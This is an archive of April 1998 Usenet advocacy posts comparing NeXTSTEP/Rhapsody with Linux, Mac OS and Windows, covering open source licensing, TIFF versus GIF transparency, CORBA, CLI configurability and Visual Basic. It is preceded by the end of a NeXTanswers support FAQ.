follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 4 Apr 1998 23:12:11 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6g6eob$atu$1@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
Xcanpos: shelf.1/199804190201!0024374101
In comp.os.linux.advocacy , article <6g01p5$ed9$1@news.cs.tu-berlin.de> , Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>>> Proprietary. Hmmm... Actually, one of the really nice surprise I
>>> got when I finally received the NextStep developer documentation
>>> about 7 years ago was how the entire system is based on non-proprietary
>>> standards. NeXT just took many existing components and integrated them
>>> into a coherent whole.
>> Well, yeah OpenStep is a non-proprietary standard... But I mean software
>> license wise... Basicly by that, I mean: it's not OpenSource. There are a
>> lot of folks who aren't bothered by that (and I'm not horribly bothered by
>> it either...), but I would like to point out that a Microsoft monopoly
>> couldn't form on OpenSource software.
> What I was talking about was the NeXT, from the very beginning, used
> existing standards instead of rolling their own.
> [Mach/UNIX + Objective-C]
I know... But the openness of the standards isn't what I'm referencing.
I'm talking about the software LICENSE... As in free/OenSource vs. normal
proprietary license.
>> Objective C isn't my favorite, although I never really learned it...
>> Here are my thoughts on the subject: I really don't wanna waste my time on
>> some C++ vs OC war.
> Neither do I. The point wasn't wether Objective-C is good or bad, but
> that they picked a language that existed at the time. What's more, they
> picked a language that is a very *simple* sub-set of plain C.
okie dokie...
>>> All the data-types are based on industry-standard file formats. For
>>> images, they used Aldus (now Adobe) TIFF. For text, Microsoft RTF.
>> RTF is fine, but Microsoft word processing formats like Word are anything
>> but open.
> RTF is a Microsoft standard. Again, NeXT picked something that was
> available, even if it came from the evil empire.
Yeah... Presently, I wouldn't have choosen RTF, but that's ok...
>>> For pictures, Adobe's EPS format, which can be supported better than
>>> on most platforms because of the built in DPS.
>> I'm advocating PNG myself...
> PNG is just a bitmap format (roughly equivalent to, but simpler than
> TIFF), EPS is for vectors + bitmaps + text. That said, filter
> services let the system treat just about any format (incl. PNG)
> just like a native data type.
Yes... and unlike GIF, it has no royalties.
>>> They then wrapped this stuff with the AppKit, an OO layer so good
>>> that even now, 10 YEARS (!) later it still is so far ahead of the
>>> pack that it isn't even funny.
>> Tell more... What do you like about it? Any disadvantages?
>>> Because these standard data-types are built into the AppKit, all
>>> applications use them, allowing them to interoperate extremely
>>> well not only with each other but with the rest of the world.
>> I dunno... I don't know enough about AppKit to say, but honestly, I think
>> you should take a look at some of the stuff OS/2 does!
> [Terminal.app]
>> Yeah, you have a character mode interface.
> Two, actually.
>> But can you really administer everything in your NS box from it?
> Yes. No exceptions.
>>I mean Steve Jobs' philosophy that everything should be done in a GUI. Look
>>at the Mac. My fear would be, if I were an NS user, that Apple's
>>integration would put even more into the GUI and even less in the CLI.
> It's the other way around: NextStep had some features which could *only*
> be configured from the *CLI*. Apple is changing things so people *can*
> administer everything from the GUI. They aren't *removing* any CLI
> configurability (and with the UNIX base, that would be difficult to
> do anyhow). Think about it: Steve Jobs started Next *after* the Mac.
> If you're going to use his existing projects as indication of his
> attitudes, you should take the most recent one, which is OpenStep.
> Which is UNIX and has a CLI.
Point taken... fair enough.
The thing is, I really am not that concerned about it. Why should I be? My
choice OS is Linux, and it does everything I want right now. I like the
direction it's been taking, and I like its license...
I don't see why I should invest in getting NS just for usenet discussion.
>>> Again, you are confusing a couple of things. CORBA is not a language.
>> But you're wrong! It is a language, AND a protocal! Research this! I
>> assure you, it's a language...
>>> It is the Common Object Request Broker Architecture.
> ^^^^^^^^^^^^ CORBA!
> CORBA *includes* an Interface Definition Language (IDL). But the
> language is not CORBA. In fact, you can communicate via an ORB
> without ever touching the IDL, which is only needed for static
> base languages. Objective-C, for example, would let you work
> without the IDL, discovering interfaces/objects on-the-fly and
> integrating them as they come.
Alrighty then.
>> Anyway, that's my beef with Sal. For him, it means flaming me in virtually
>> every post I make. For me, it meant kill-listing to prevent myself from
>> doing just that. Now I de-kill-listed him, and I just don't take him
>> seriously anymore..
> I don't know what that was about, but I suspect that if you manage to
> keep your posts to the tone you're currently at, and keep in mind that
> quite a few of the people posting in c.s.n.* are very knowledgeable
> (a lot more than myself), then you will find that you get much more
> reasonable responses.
Actually, many of the follow ups I get from my posts are reasonible and
interesting. A few of them are flames (ie, Sal's), but that's to be
expected on *.advocacy threads... :)
(internal COLA threads, I very seldom get flames)
> [description of DO]
>> I'm very familiar with distributed objects, as my last project I was working
>> on used DCOM extensivly.
> DCOM is nothing like the Next/Apple distributed objects system. Trust
> me.
DCOM isn't what it should be.
CORBA's my distributed objects system! :)
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 4 Apr 1998 23:20:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6idg1j.vt.sal@panix3.panix.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net> <3523BFDF.529161F8@nstar.net> <6g3igl$452$3@anvil.BLaCKSMITH.com> <3525C014.1597@nstar.net>
Xcanpos: shelf.1/199804190201!0024654746
On Fri, 03 Apr 1998 23:07:32 -0600, Michael Peck <mjpeck@nstar.net> wrote:
>> Fine. focus-follows-mouse is available for NEXTSTEP; the rather simple
>> change to the WindowServer.ps code has been around for years and years.
>
>Which "Just Works"?
>
>"Just fire up ResEdit, edit your System, be careful not to change
>anything but the following: offset 0x0340, change 0010 AF3C BB01 A923 to
>0045 243B 13A9 A509. It's simple, really!"
>
>I've heard of this sort of "Just Works" before.
How is editing an .rc file different that editing a .ps file? And if that
is too much for you, then check out some of the prefrences extensions on
the archive sites. They might have been able to edit the .ps file for
you.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 4 Apr 1998 23:37:18 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6g6g7e$atu$5@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com> <3523c525.0@206.25.228.5>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
Xcanpos: shelf.1/199804190601!0003208718
In comp.os.linux.advocacy , article <3523c525.0@206.25.228.5> , John Kheit <jkheit@xtdl.com> wrote:
[snip]
>>>> or no Mach, BSD or no BSD) for its OpenStep API, and it has
>>>> Steve Jobs' "everything should be done in a GUI" philosophy.
>>>> I simply disagree with both the proprietary architecture, and
>>>> the 100% GUI philosophies.
>>> OpenStep is a free and open API for anyone to use. GNU and
>>> SUN are using it. It's an open standard.
>> YES... it is an openstandard, and that has something to be said
>> for it...
>> But the code itself is proprietary, and isn't OpenSource. I'll
>> spare you my political speech about why things should be OpenSource,
>> and leave it at this: I want an OS I can contribute to.
> Then join the GNUSTEP crew. You can look at that code right now.
> You can contribute to that right now. You can use that right now.
Actually... soon I plan on joining the GNOME effort. I think I'll start a
project for a relational database with a GNOME interface if I really feel
ambitious... :)
Here's my thoughts on its architecture... C++ as the language, and use
Python as the extension language for macros and stuff.. :)
>>> As to the 100% GUI bit, you are wrong. True, OpenStep supports
>>> a lot of nice GUI stuff, but it supports a ton of non GUI stuff.
>>> As to the core OS, there is always Terminal.app if you want to
>>> get down and boogie like a gear head.
>> I'm not talking about OpenStep API, but its implimentation in
>> NS.
> Well, I say you should start with the biggest violators. MS.
Oh... Micros*ft is the worst... I dispise them faaar more than Apple or
NeXT. I disagree with some Apple and Next tactics, but what Microsoft gets
away with is far worse.
> When you fix their little wagon, you can get to apple's little red one.
> Don't get me wrong, I'd like to see that happen too. I just realize it's
> not a liklihood. Just like I'd like to see peace on earth, good will toward
> all mankind, find a magic lamp, surround myself with porsches and bimbets,
> etc. etc. There are things we like, and things we can expect. There is
> some overlap, thankfully, in life. But not to the extent we all would like.
I don't think an OpenSource OS is all that much of a "distant utopia" --
Linux. And BTW, OpenSource is only licensing; it's not - not a form of
reducing competition!
>> The latest version of NS I really used wasn't too bad as far a
>> the CLI/GUI went. It was a little too heavy on the GUI, but I'm
>> speculating on Rhapsody here (notice, it wasn't even a review)...
>> Look at MacOS. CLI doesn't even exist, save the debug screen.
>> I suspect, with Steve Jobs' idiocy software design, that everything
>> will be GUI...
> That's intersting. Too heavy on CLI? You can run in terminal mode
> without ever interacting with the GUI if you like. It can be as
> stock and vanilla a unix as you like. Or do you mean the GUI apps
> didn't allow for traversal with the keyboard extensively enough?
> If that's what you mean, then I agree, a valid complaint.
Dunno... Technocally, I really don't know enough to make a really educated
statement on its GUI/CLI features... I just get the feeling of over-GUI-ness
when I use a NextStep box.
Anyway, I have yet to see a GUI that doesn't rely too much on a mouse,
besides the Word Perfect 6 for DOS one.
>> Anyway, it's neither here nore there. I intend on for the most
>> part ignoring Rhapsody. It doesn't really effect me.
> That's fair enough too.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 13:15:59 GMT
Organization: P & L Systems
Message-ID: <6g806f$fhe$3@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net>
<6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk>
<34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de>
<6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6eob$atu$1@quasar.dimensi <6g6jrc$9j9$1@news.cs.tu-berlin.de>
<joe.ragosta-0504980729350001@elk75.dol.net>
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Content-Transfer-Encoding: 7bit
Cc: joe.ragosta@dol.net
In <joe.ragosta-0504980729350001@elk75.dol.net> Joe Ragosta wrote:
> One question. It's easy to make a transparent GIF. Can TIFF handle the
> same feature? I always thought that transparency was one of GIF's
> novelties.
>
Actually it's "difficult" to make a transparent GIF. You have to choose an
entry in the colour table that will represent transparency, and then wherever
that colour occurs in the image it's *completely* transparent.
TIFF, in common with various other good image formats, supports the concept
of an "alpha" channel, in addition to, say, RGB, CMY(K) or HSB [so on
NEXTSTEP a colour may be defined by RGBA, CMYKA, or HSBA]. The alpha channel
defines the degree of transparency in the same way as, say, the R channel in
RGB defines the amount of red. Thus rather than just the all-or-nothing you
get with GIF, you get levels of opacity, like stained glass.
My Stepwise ( http://www.stepwise.com/ ) article on the NEXTSTEP colour wheel
is under review at the moment, but it should be along soon, and it includes a
small section on transparency.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 13:45:30 GMT
Organization: P & L Systems
Message-ID: <6g81tq$fhe$4@ironhorse.plsys.co.uk>
References: <6g38rv$du2$2@ns3.vrx.net> <B14B1ABB-2CE1@206.165.43.39>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B14B1ABB-2CE1@206.165.43.39> "Lawson English" wrote:
> > > What good points about speed? GX, as far as I can tell, does its
> > > processing of any and all variations of GX ink-color-transfer-modes
> > > in a single pass, including those for bitmaps.
> >
> > Doesn't make it fast.
>
> Makes it faster than doing it in several passes. Which was my point: if you
> don't have the primitives set up to do GX-like color stuff in one pass, you
> gotta do more than one pass.
>
So where does this fit in...?
http://www.wserv.com/~jordy/mirror/www.berlin-consortium.org/clark.html
Q: "I recall hearing somewhere that you even had people outside Apple review
the code, to root out Mac-isms. Was there a university professor involved,
who contributed some algorithms?"
A: "A couple of those guys who write graphics books (Newman and Sproull) took
a look at it once. Sproull thought it stunk. His objection was that there was
no direct drawing modes. I think he thought it was all a big display list
engine. So, in deference to him, I added the GXDrawRectangle, etc. calls.
Internally, they look like:
void GXDrawRectangle(gxRectangle *rect, gxShapeFill fill)
{
gxShape shape = GXNewRectangle(rect);
GXSetShapeFill(shape, fill);
GXDrawShape(shape);
GXDisposeShape(shape);
}
(Gee, I hope I'm not giving away any trade secrets.) OK, so they don't look
like that, exactly. But you get the idea."
I can't tell if this is relevant, but it looks like there's a chance some of
what you regard as single pass may just be syntactic sugar.
Best wishes,
mmalc.
Date: Sun, 05 Apr 1998 07:29:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <joe.ragosta-0504980729350001@elk75.dol.net>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6eob$atu$1@quasar.dimensi <6g6jrc$9j9$1@news.cs.tu-berlin.de>
In article <6g6jrc$9j9$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
> Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> writes:
>
> >Yes... and unlike GIF, it has no royalties.
>
> GIF is actually an extremely sucky graphics format, which is
> why I'm glad NeXT went with TIFF as the standard...
One question. It's easy to make a transparent GIF. Can TIFF handle the
same feature? I always thought that transparency was one of GIF's
novelties.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 5 Apr 1998 13:02:47 GMT
Organization: P & L Systems
Message-ID: <6g7vdn$fhe$2@ironhorse.plsys.co.uk>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net>
<3523BFDF.529161F8@nstar.net> <6g3igl$452$3@anvil.BLaCKSMITH.com>
<3525C014.1597@nstar.net>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: mjpeck@nstar.net
In <3525C014.1597@nstar.net> Michael Peck wrote:
> > False. Even the standard csh supports filename completion.
>
> Not as shipped, no.
>
Umm, sorry, but it does (ESC)
> color-ls on a mono screen at least gives bold. On a NeXT four-color
> screen it would have been useful in a significant way. Have you used
> color-ls on a mono screen? At the very least, it at least highlights
> directories, causing a significant jump in readability (how significant?
> Probably more significant than left-handed scrollbars).
>
How long has colour ls been around (serious question, I don't know).
Remember that the version of NEXTSTEP you were using shipped around 1993.
And after that the Unix OS pretty much went into maintenance mode as NeXT's
market focus shifted (again) with OPENSTEP.
> > > any convenience shells whatsoever, etc., etc.
[...]
>
> tcsh, ksh...
>
Umm, all available from the archives.
> > Fine. focus-follows-mouse is available for NEXTSTEP; the rather simple
> > change to the WindowServer.ps code has been around for years and years.
>
> Which "Just Works"?
>
> "Just fire up ResEdit, edit your System, be careful not to change
> anything but the following: offset 0x0340, change 0010 AF3C BB01 A923 to
> 0045 243B 13A9 A509. It's simple, really!"
>
Sort of fair point; but, without having seen the fix, I'd guess it's a fairly
simple edit you can do with Edit.app. But, given your predeliction for
Unix-y sorts of things, would you have been happy if we'd said that there's a
GUI app to do this for you? I'm sure someone could have written a
Preferences bundle for it *if* there had been a demand...
Best wishes,
mmalc.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: 5 Apr 1998 16:08:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ifb45.dbp.sal@panix3.panix.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu> <3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net> <6g3dvf$ovn$1@cronkite.cygnus.com> <352573FD.6C16@nstar.net>
On Fri, 03 Apr 1998 17:42:53 -0600, Michael Peck <mjpeck@nstar.net> wrote:
>Then I submit it's a little silly to say "Just Works" instead of
>something else, like "Just Looks Fun" or "Just Pleases the Eye" or "Just
>Makes Me Happy". What is it about the GUI that "Just Works", then? I
>mean, as far as I know, my X Windows GUI "Just Works", too, and quite
>well, at that. What were you trying to say?
You have yet to list any problem you have had with NS that
a) Was not a FAQ, listed somewhere on the web
b) Easy to fix after RTFMing
c) At least as easy to do as the equivilent config under X
Our complaints about X are issues that can not be resolved as easily.
In order to get d&d or c&p to "just work" in all my X apps, I'll have
to rewrite them. In order to get focus-on-mouse under NS you'll have
to install a peice of software. When I install an App under NS, it
automaticly installs "services" that can be used by all other Apps. The
equivilent under X would require editing .rc files.
Do you see what we mean by "just working"?
>Maybe you're just saying that "Just Works" applies to the NEXTSTEP GUI
>inasmuch as that GUI affects the OS layer. If so, you're on solid
>footing, since beyond network configuration and some other simple
>things, there really aren't many configuration tools on NEXTSTEP. Which
>leaves little room for argument about the "Just Works" comment.
False. There are many config tools for NS. Go to any NS archive site
and look at the archives of system tools and prefs bundles.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 5 Apr 1998 16:13:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ifbd2.dbp.sal@panix3.panix.com>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <joe.ragosta-0404980706540001@elk71.dol.net>
On Sat, 04 Apr 1998 07:06:54 -0500, Joe Ragosta <joe.ragosta@dol.net> wrote:
>In article <slrn6i6f4f.j6l.sal@panix3.panix.com>, sal@panix3.panix.com
>(Salvatore Denaro) wrote:
>> The AIO has the same expansion. Apple should kill the Desktop 233 and lower
>> the prices on the other Desktops. The DT266 should be at $1699 with an AV
>> card in order to make it competitive with the AIO.
>
>*chuckle*
>
>That's like betting that the sun will come up tomorrow. It will happen,
>it's only a question of exactly when.
ASAP would be more than appropriate. With 400mhz PIIs just around the
corner, Apple will have to lower its prices to stay competitive.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 16:20:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ifbqr.dbp.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com> <6g0ffj$k6c$3@anvil.BLaCKSMITH.com> <6g6fkq$atu$4@quasar.dimensional.com>
On 4 Apr 1998 23:27:22 GMT, Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>> You are free to contribute to the GNUstep project.
>> You are also free to contribute to the MiscKit.
>
>MiscKit? What that be?
http://www.misckit.com/
The misckit is a collection of user supported code that can be freely used
by developers working on NS/OS. There is a FAQ on the site with more info.
NeXT has given code to them in the past. (3dkit and indexingkit)
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 17:01:04 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ife6g.dbp.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com>
On 4 Apr 1998 23:20:50 GMT, Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>>> Watch out for Gnome in about five years guys... :) We're genna build one
>>> hell (excuse me) of a GUI/API desktop!
>> Tell me when its done, I'll take a look.
>You can get on the announce list at http://www.gnome.org/ . It's currently
>in Alpha, so you'll have some time to watch it develop (assuming you really
>are interested). I expect by this time next year, it'll be beta at least.
I do watch this stuff, and I am interested.
>> I see no reason to think that they will remove the CLI functions. The most
>> likely scenario is that they will build GUI tools for the existing CLI
>> commands and leave the CLI alone.
>We'll see...
The changes between DR1 and DR2 might be a very good indecation of where it
is going.
>Point taken; NS was Jobs' second GUI OS (and I must say, far better than the
>first).
And Rhapsody is going to be the third.
>> PDO is an Apple/NeXT product and it is Obj-C exclusive, AFAIK. I doubt that
>> I ever claimed that "distributed objects" are exclusive to Obj-C.
>It sounded like that to me...
Go and find that article. If I clearly made it sound like distributed objects
are exclusive to Obj-C, I'll post an apology.
>Anyway, it really doesn't matter. The thing is, most posts you've made that
>have been follow-ups to me have been totally mindless flames in my not all
>that humble opinion. If you keep making reasonible posts like this one, I
>think you and I could get along.
That was almost a complement. :)
Mindless flames? Is it a mindless flame to point out holes in your arguments?
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 13:15:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14D356F-39292@206.165.43.14>
References: <1d6ypom.15zt3iv167fzdaN@phoenix89.wco.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
> Subclass NSButton, and override the drawing routine to use whatever you
> want. It's totally wide open. Write a NSButton subclass once that uses
> your GX shape, put it on a palette, and resell it. Hey, fame and
> fortune!
1) GX shapes aren't in Rhapsody
2) why does one need to override something to change the shape of a button?
If one had a subclass of NSButton & company that could use a set of
well-defined graphics shapes, one could implement what I'm talking about
without any overriding -just change the graphical shape-object used as a
frame for the button. You don't even need genuine OOP for this, and such a
strategy would make user-editable buttons much easier to work with,
especially on a system-wide basis.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody vs. VisualBasic
Date: 5 Apr 1998 16:50:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ifdio.dbp.sal@panix3.panix.com>
References: <35215529.2E181E25@slip.net> <6g40q9$452$6@anvil.BLaCKSMITH.com>
On 4 Apr 1998 01:02:01 GMT, Charles Swiger <chuck-nospam@blacksmith.com> wrote:
>Sivan Mozes <sivan@slip.net> wrote:
>> I understand the interface bulider is a great idea. But doen't VB do the
>> same thing on Windows?
>Sort of. Visual Basic is quite functional as a way of grinding out
>interfaces,
<<SNIP>>
I've been coding DB front ends for a while. Painting GUIs is cheap,
coding up business logic is very expensive. VB gives you nice tools
for painting GUIs, but its facilities for the re-use of business logic
are lacking.
Tools like VB and Delphi provide GUI building that tightly link the "Form"
to the code that controls it. They reduce the ability to re-use code. More
